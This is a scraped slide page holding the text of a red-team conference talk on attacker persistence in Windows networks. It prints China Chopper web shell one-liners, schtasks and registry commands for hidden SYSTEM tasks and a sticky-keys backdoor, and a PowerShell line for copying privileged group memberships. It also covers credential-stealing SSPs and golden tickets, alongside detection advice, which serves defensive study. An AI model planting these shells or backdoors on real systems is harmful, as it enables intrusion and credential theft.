"Node.js vs workers — A comparison of two JavaScript runtimes", James M Snell"Node.js vs workers — A comparison of two JavaScript runtimes", James M Snell
"Node.js vs workers — A comparison of two JavaScript runtimes", James M SnellFwdays
14 views30 slides
Optimizing Communication to Optimize Human Behavior - LCBM by
Optimizing Communication to Optimize Human Behavior - LCBMOptimizing Communication to Optimize Human Behavior - LCBM
Optimizing Communication to Optimize Human Behavior - LCBMYaman Kumar
38 views49 slides

Recently uploaded(20)

Future of AR - Facebook Presentation by Rob McCarty
Future of AR - Facebook PresentationFuture of AR - Facebook Presentation
Future of AR - Facebook Presentation
Rob McCarty65 views
The Power of Generative AI in Accelerating No Code Adoption.pdf by Saeed Al Dhaheri
The Power of Generative AI in Accelerating No Code Adoption.pdfThe Power of Generative AI in Accelerating No Code Adoption.pdf
The Power of Generative AI in Accelerating No Code Adoption.pdf
Saeed Al Dhaheri39 views
Cocktail of Environments. How to Mix Test and Development Environments and St... by Aleksandr Tarasov
Cocktail of Environments. How to Mix Test and Development Environments and St...Cocktail of Environments. How to Mix Test and Development Environments and St...
Cocktail of Environments. How to Mix Test and Development Environments and St...
The Coming AI Tsunami.pptx by johnhandby
The Coming AI Tsunami.pptxThe Coming AI Tsunami.pptx
The Coming AI Tsunami.pptx
johnhandby13 views
"Node.js vs workers — A comparison of two JavaScript runtimes", James M Snell by Fwdays
"Node.js vs workers — A comparison of two JavaScript runtimes", James M Snell"Node.js vs workers — A comparison of two JavaScript runtimes", James M Snell
"Node.js vs workers — A comparison of two JavaScript runtimes", James M Snell
Fwdays14 views
Optimizing Communication to Optimize Human Behavior - LCBM by Yaman Kumar
Optimizing Communication to Optimize Human Behavior - LCBMOptimizing Communication to Optimize Human Behavior - LCBM
Optimizing Communication to Optimize Human Behavior - LCBM
Yaman Kumar38 views
Measurecamp Brussels - Synthetic data.pdf by Human37
Measurecamp Brussels - Synthetic data.pdfMeasurecamp Brussels - Synthetic data.pdf
Measurecamp Brussels - Synthetic data.pdf
Human37 26 views
Bronack Skills - Risk Management and SRE v1.0 12-3-2023.pdf by ThomasBronack
Bronack Skills - Risk Management and SRE v1.0 12-3-2023.pdfBronack Skills - Risk Management and SRE v1.0 12-3-2023.pdf
Bronack Skills - Risk Management and SRE v1.0 12-3-2023.pdf
ThomasBronack31 views
Transcript: Redefining the book supply chain: A glimpse into the future - Tec... by BookNet Canada
Transcript: Redefining the book supply chain: A glimpse into the future - Tec...Transcript: Redefining the book supply chain: A glimpse into the future - Tec...
Transcript: Redefining the book supply chain: A glimpse into the future - Tec...
BookNet Canada41 views
Discover Aura Workshop (12.5.23).pdf by Neo4j
Discover Aura Workshop (12.5.23).pdfDiscover Aura Workshop (12.5.23).pdf
Discover Aura Workshop (12.5.23).pdf
Neo4j15 views
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or... by ShapeBlue
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
ShapeBlue199 views
What is Authentication Active Directory_.pptx by HeenaMehta35
What is Authentication Active Directory_.pptxWhat is Authentication Active Directory_.pptx
What is Authentication Active Directory_.pptx
HeenaMehta3515 views
"Surviving highload with Node.js", Andrii Shumada by Fwdays
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada
Fwdays58 views
LLMs in Production: Tooling, Process, and Team Structure by Aggregage
LLMs in Production: Tooling, Process, and Team StructureLLMs in Production: Tooling, Process, and Team Structure
LLMs in Production: Tooling, Process, and Team Structure
Aggregage57 views
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De... by Moses Kemibaro
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...
Don’t Make A Human Do A Robot’s Job! : 6 Reasons Why AI Will Save Us & Not De...
Moses Kemibaro35 views

Ever Present Persistence - Established Footholds Seen in the Wild

  • 1. Ever Present Persistence - Established Footholds Seen in the Wild @evan_pena2003 @ChrisTruncer
  • 2. Whoami ● Evan Pena (@evan_pena2003) ○  Mandiant’s West Coast Red Team Functional Lead ○  Open Source Developer ■  ADEnumerator ■  NessusCombiner ■  NMapParser, etc.
  • 3. Whoami ● Christopher Truncer (@ChrisTruncer) ○  Mandiant’s Red Team ○  Florida State Seminole ○  Open Source Developer ■  Veil Framework ■  Egress-Assess ■  EyeWitness, etc
  • 4. What’s this talk about? ● Persistence ● Persisting Networks vs. Hosts ○ The Old Ways ○ New School ● What else is needed? ○ Application ○ Privilege Levels ● Detection
  • 6. Persistence ● Main goal is continued access to a network, host, privilege level, or whatever. ● Persistence can overlap depending on your goal. E.g. persisting a host to persist a network.
  • 8. Host Based ● We’re looking to have ad-hoc, or programmatically defined access to a system as close to on-demand as possible. ● All efforts in this phase are restricted to the individual system we are targeting.
  • 9. Host Based ● What do we need to be able to do? ○ Survive Reboots – the most important aspect. ○ Compliment network based persistence. ○ Foothold into sensitive systems.
  • 10. Network Based ● We’ve seen it used in two contexts: ○ Used to maintain access into a network ■  This is incredibly similar to host-based persistence, but could be cosidered network based for the intent it is used.
  • 11. Network Based ○ Used to maintain access to different network segments. ■  Don’t want to be VLANed off in a VOIP network.
  • 12. Network Based ● What do we want to do here? ○ Maintain persistence into unique networks. ○ Access likely facilitated through host- based persistence.
  • 14. Web Shells ● Funny, this almost seems trivial and too easy that no one should use it. ○ That is not the case ■  China Chopper - APT17, APT19, APT22 ■  ITSecShell, reDuh, ASPShell ■  Really, even just commodity code
  • 15. China Chopper ● Very tiny webshell, about 4 kb stored server-side. ● Can be in a variety of languages (cfm, asp, php, etc.) ● Uses a client application to interact with the webshell
  • 16. China Chopper Server Code ● ASPX ○  <%@ Page Language="Jscript"%>< %eval(Request.Item["password"],"unsafe" );%> ● PHP ○  <?php @eval($_POST['password']);?> https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
  • 18. China Chopper ● Pretty awesome features in it ○ File Explorer - including uploading and downloading of files, mod of timestamp ○ Database Client - mssql, mysql ○ Command Shell - normal ownage
  • 19. Web Shell Prevention/Detection ● Hunt for known bad files ○ Hashes, other file/text-based indicators ● Blacklist all filetypes except expected files for upload functionality ● Don’t allow your web server to execute files uploaded from untrusted sources
  • 20. Magic Packet ●  Or, how to access port 12345 with a packet to port 443 ●  Attacker’s problem: ○  Compromised a web server (ports 80 and 443 are occupied)
  • 21. Magic Packet ○  Firewalls prevent connections to any other port ○  Wants a TCP backdoor to be remotely accessible ■  Can’t be bothered to write a web shell
  • 22. Magic Packet - Creative Solution ●  Run backdoor, listening on 12345 ●  Run malware “low” in the network stack that will: ○  Check incoming TCP SYN packets ○  When a SYN packet contains a specific signature, change the destination port from 443 to 12345
  • 23. Magic Packet - Creative Solution ○  Windows network stack will deliver the packet to backdoor ○  Malware alters the port in all subsequent packets for that TCP stream
  • 24. Magic Packet – Creative Solution Syn, dport: 443 data=s3cr37Malware Syn, dport: 12345 SynAck sport: 12345 SynAck sport: 443 12345 Compromised System 443
  • 25. Outlook ● Outlook rules can help provide a really unique way to gain access to a system. ● Silent Break wrote a post on leveraging outlook rules to gain access to a user’s system. ○ Focused on access, but can be used for persistence too :) h"ps://silentbreaksecurity.com/malicious-outlook-rules/
  • 26. Outlook ● Create a modified Outlook rule to execute a binary when the trigger subject is received. ● Sync the rule against target user account. ● Send e-mail that triggers the rule. ● Get shell :)
  • 28. Outlook ● Additional tweaks ○ Have it auto-delete the e-mail when it arrives to prevent detection from the user/victim ●  https://silentbreaksecurity.com/malicious-outlook-rules/
  • 29. Outlook ● Detection: ○ Casey Smith – Link for searching server- side rules ○  https://blogs.msdn.microsoft.com/canberrapfe/2012/11/05/ever-needed-to-find-server-side-outlook-rules-that-forward- mail-outside-of-your-organisation/ ○ Main IOC is a rule set to execute a binary when a certain event happens.
  • 32. Registry Hacks ● Probably the 101 method of host based persistence. ● Really easy to setup, and can be configured from varying levels of permissions. ● Can be used to compliment new ways.
  • 33. Registry Hacks ● You can configure it to run when the machine starts, or when a user logs into the machine. ○  HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun ○  HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun ● These methods are also highly publicized and are the first thing most defensive tools look for.
  • 34. Registry Hacks ● Can be good for helping to solidify initial access, but I wouldn’t use them for long term persistence. ○ Hopefully most teams should have the ability to detect these and therefore shouldn’t be relied on.
  • 35. Startup Folder ● Startup folder will execute all files in the folder. ○  C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
  • 36. Scheduled Tasks ● Scheduled tasks are a fairly easy way for a user of any level to persist a system. ● If you have the proper permissions, you can schedule up to SYSTEM level tasks. ● This is Microsoft’s recommendation/ alternative to stop using AT.
  • 37. Scheduled Tasks ● Scheduled tasks can be created from the command line with schtasks.exe or GUI. ● These can run on system startup, when a user logs into the system, after the system has been idle, etc. ● This can run binaries, powershell one liners, or others.
  • 39. Scheduled Tasks ● schtasks /create /tn SysUpdate /sc onidle /i 15 /tr c:userschrisdownloads safe.exe ● schtasks /create /tn WinUpdate /sc onstart /ru System /tr c: totallylegit.exe /s winsqldbsystem h"p://blog.cobaltstrike.com/2013/11/09/schtasks-persistence-with-powershell-one-liners/
  • 40. Scheduled Tasks Detection ● Get a baseline of the different tasks set to run on a system ○ schtasks /query ○ Look in the Task Scheduler ○ Scheduled task log analysis ● Periodically audit systems to identify deviations
  • 41. Service Manipulation ● Services typically run with SYSTEM level permissions, so they are a great candidate to target. ● Easiest way to install a service based persistence (if not admin) is to check for write permissions to existing services.
  • 43. Service Manipulation ● :) Now that targets have found, you need a malicious service binary. ○ Veil-Evasion, PowerUp, custom code, etc. ● Save off the original service, and then replace it with your malicious binary. ● Bounce the box (if required).
  • 44. Sticky Keys ● With administrative access to a machine, you can easily setup sticky keys. ○ Make a copy of sethc.exe ○ Copy cmd.exe to C:windows system32sethc.exe ○ Reboot, and hit shift 5 times!
  • 46. Sticky Keys ● Another method, setting cmd.exe as the Debugger for sethc.exe. ○  REG ADD "HKLMSOFTWAREMicrosoftWindows NT CurrentVersionImage File Execution Options sethc.exe" /v Debugger /t REG_SZ /d "C:windows system32cmd.exe" h"p://carnal0wnage.a"ackresearch.com/2012/04/privilege-escalaAon-via-sAcky-keys.html? showComment=1335891005473#c7632690272609583721
  • 47. Sticky Keys ● Main problem, is it doesn’t require authentication. ○ If using a shell ● So if this is used, ensure that you use a callback that only connects to you, etc.
  • 48. Sticky Keys ● Detection: ○ Compare the sethc.exe binary hash with the known good sethc.exe ○ Ensure sethc.exe doesn’t have a debugger setup that triggers a different binary.
  • 50. DLL Search Order Hijack ● Search order hijacking exploits how Windows searches for dlls when loading an executable. ○ Specifically, it exploits the fact that Windows will search the same folder the binary is stored in for a dll first*
  • 51. DLL Search Order Hijack ● Old sample in CAPEC ○ If you drop ntshrui.dll within C:Windows and run explorer.exe, you can get the dll within C:Windows to be executed ● This exploits the order in which the dll is searched for on a Windows system
  • 52. DLL Search Order Hijack ● Attackers create malicious DLLs that exploit this search order to get their DLL to run on a system. ● Since it’s every time the application runs, it can be used as a persistence technique. ● PowerUp can be used to find these opportunities
  • 53. DLL Search Order Hijack ● Used by the following actors ○ APT 1, APT 8, APT 17, APT 19, APT 22, APT 26 ● Used by the following malware ○ AMISHARP, GH0ST, HOMEUNIX, POISON IVY, VIPER
  • 54. Legit Scheduled Tasks ●  Easy to identify scheduled tasks named “evilTask” or anomalous tasks ●  First we must look at how investigators detect malicious scheduled tasks:
  • 55. Legit Scheduled Tasks ○  Stacking tasks accross multiple systems to determine anomalous tasks ○  Parse task scheduler log (schedLgu.txt)
  • 56. Legit Scheduled Tasks ●  What if we modify existing legit scheduled tasks? ○  Specifically tasks that are not required for Windows functionality
  • 57. Unquoted Service Path ● Unquoted service paths exploit a vulnerability in the order that Windows searches for a binary when a space is in an unquoted path. ○ C:Program Files(x86)SteamSteam Gamingsteam.exe
  • 58. Unquoted Service Path ● C:Program Files(x86)SteamSteam Gamingsteam.exe ○ C:Program.exe ○ C:Program Files(x86)SteamSteam.exe ○ C:Program Files(x86)SteamSteam Gamingsteam.exe ● We have three opportunities here!
  • 59. Unquoted Service Path ● If we have write access to any of the paths that Windows looks for, we can hijack the service. ○ Just need a service binary again (J) ● Drop it into any of the paths on the previous slide, and restart the service! ○ Might have to wait for a restart
  • 60. Unquoted Service Path ● Prevention ○ Check service binaries on your images and determine if any are using unquoted service paths. ○ Make sure the paths aren’t writable to non-admins. ○ PowerUp can find these as well
  • 61. WMI ● Three requirements necessary to invoke a permanent WMI event subscriber: 1. An Event Filter 2. An Event Consumer 3. A Filter/Consumer Binding Original research performed by Matt Graeber released in “Practical Persistence with PowerShell” presentation
  • 62. Event Filters ● The WMI query that fires upon an event occurring - usually, an event class derived from __InstanceModificationEvent, __InstanceCreationEvent, or __InstanceDeletionEvent Original research performed by Matt Graeber released in “Practical Persistence with PowerShell” presentation
  • 63. Event Consumers Original research performed by Matt Graeber released in “Practical Persistence with PowerShell” presentation ● There are five different types of Event consumers ● We’re specifically interested in the “CommandLineEventConsumer”
  • 64. Filter/Consumer Binding ● This associates the event filter with the event consumer Original research performed by Matt Graeber released in “Practical Persistence with PowerShell” presentation
  • 65. WMI ●  PowerSploit’s Persistence Module for WMI ○  Automates the process ○  Will create a permanent WMI event subscription ●  Can use Out-EncodedCommand (in PowerSploit) to get one liner
  • 66. PowerShell Profiles ● Use standard persistence mechanism to execute PowerShell silently ○ "C:Windows System32WindowsPowerShell v1.0powershell.exe" -NonInteractive - WindowStyle Hidden ○ It’s a legit exe!
  • 68. PowerShell Profiles ● Anytime PowerShell executes, it will execute code in the default profile. ● Create profile here ○ C:Windows System32WindowsPowerShell v1.0profile.ps1
  • 69. Security Support Provider ● A security support provider (SSP) - like a security package ○ A user-mode secuirty extension used to perform authentication during a client/server exchange. Original research performed by Matt Graeber released at MIRcon 2014
  • 70. Security Support Provider ● An authentication package (AP) ○ Used to extend interactive login authentication ○ Example: Enable RSA token authentication Original research performed by Matt Graeber released at MIRcon 2014
  • 71. Security Support Provider ● SSP/AP ○ Can serve tasks of SSPs and APs. loaded into lsass at boot. ○ Example: Kerberos and msv1_0 (NTLM) Original research performed by Matt Graeber released at MIRcon 2014
  • 72. Security Support Provider ● You can install your own SSP that will be loaded into lsass.exe. ○ No need for injection ● Can develop your own SSP DLL ○ Required export: SpLsaModeInitialize Original research performed by Matt Graeber released at MIRcon 2014
  • 73. Security Support Provider ●  Use Persistence.psm1 PowerSploit module to install your malcious SSP ●  Benjamin Delpy (@gentilkiwi) added SSP functionality to mimilib.dll. ○  Once installed and loaded into lsass.exe, it captures plaintext passwords. ○  This is acheived with the SpAcceptCredential callback function. Original research performed by Matt Graeber released at MIRcon 2014
  • 74. Malicious SSP Poc - mimilib Image taken from “Analysis of Malicious SSP” - MIRcon 2014
  • 75. Security Support Provider %windir%System32kiwissp.log Image taken from “Analysis of Malicious SSP” - MIRcon 2014
  • 76. Bootkit ● A “bootkit” is a program that can alter the Master Boot Record (MBR) or Virtual Boot Record (VBR) so that malicious code is executed before the operating system is loaded. ● Moves the original MBR to a different location and places itself at the beginning of the drive.
  • 77. Bootkit ○ Upon boot, a bootkit will modify a service to point to a modfied DLL on disk. ○ Service DLL is responsible for executing backdoor payload.
  • 78. Bootkit ○ After payload execution, the modified service is changed to point to original DLL. ○ Cycle repeats after each reboot.
  • 79. But How Does It Work? ● Malcious MBR: Windows BIOS loads the modified MBR, which then loads the code in stage 2. ● Initial Loader: Loads the stage 3 code that was previously stored as a file on disk and in unallocated space.
  • 80. But How Does It Work? ● Secondary Loader: Loads code that enables the installation and configuration of backdoor. The service hijacking phase. ● Backdoor Loader: Loads the backdoor from disk. Also the replaces hijacked service back to original form.
  • 81. But How Does It Work? Simplied MBR bootkit execution taken from Mtrends 2016
  • 82. Excel Magic ●  Malicious macro executes backdoor ●  Ways you an ensure persistence? ○  Most people will execute Excel at least once a day ○  So why not leverage this as a persistence technique?
  • 83. Excel Magic ○  You can use “old way” persistence techniques to execute Excel at startup - that is a legit program! ○  Disable macro security settings so workbook executes without prompt
  • 85. Excel Magic ●  Registry modification that executes specific Excel workbook upon Excel start ○  HKEY_CURRENT_USERSoftware MicrosoftOffice12.0ExcelSecurity Trusted Locations ○  Add location
  • 89. Golden Ticket ● This method came out due to Benjamin Delpy working with Sean Metcalf. ● This forges a golden ticket which can be good for 10 years! ● Golden tickets can provide on-demand domain privilege “upgrades” for any group within a domain.
  • 90. Golden Ticket ● You only need four pieces of information: ○ Domain SID ○ The name of the domain ○ User you want to create the hash for ○ krbtgt account hash ● You can build it offline, right at home
  • 94. Golden Ticket ● Key takeaways: ○ If impersonating a real user, even if pass is changed, this still works ○ Valid for as long as you specify (10 year default) ○ Only way to stop is change krbtgt hash… twice.. Or rebuild from bare metal :)
  • 95. Account Checkout? ●  Case Study: ○  Client has account checkout system for domain administrator (DA) accounts. ○  Only two users have access to that system ○  System requires 2FA. ○  You can lose DA access if the user changes his password, pin, or token. ○  User can see what accounts he checked out (could get caught!)
  • 96. Account Checkout? ●  We need to persist domain administrator without getting caught. ○  If we keep checking out accounts with the user we have, he might see that he has accounts checked out that he didn’t check out.
  • 98. Account Checkout? ●  Password Vault permissions were managed through Active Directory Groups...TONS of them. ○  Copy group memberships to a compromised user who doesn’t use PasswordVault ■  Note: All changes were well documented to revert
  • 99. Account Checkout? Get-ADUser –Identity <SOURCE USERNAME> -Properties memberof | Select- Object –ExpandProperty memberof | Add- ADGroupMember –Members <DESTINATION USERNAME>
  • 100. Conclusion ●  Malware persistence will remain rampant. There will always be new and creative ways for maintaining persistence. ●  Understanding malware persistence techniques is critical as it serves as a focal point for incident response investigations and help drive successful remediation.
  • 101. ? ●  Chris Truncer ○  @ChrisTruncer ○  CTruncer@christophertruncer.com ●  Evan Pena ○  @evan_pena2003 ○  evan@evanpena.com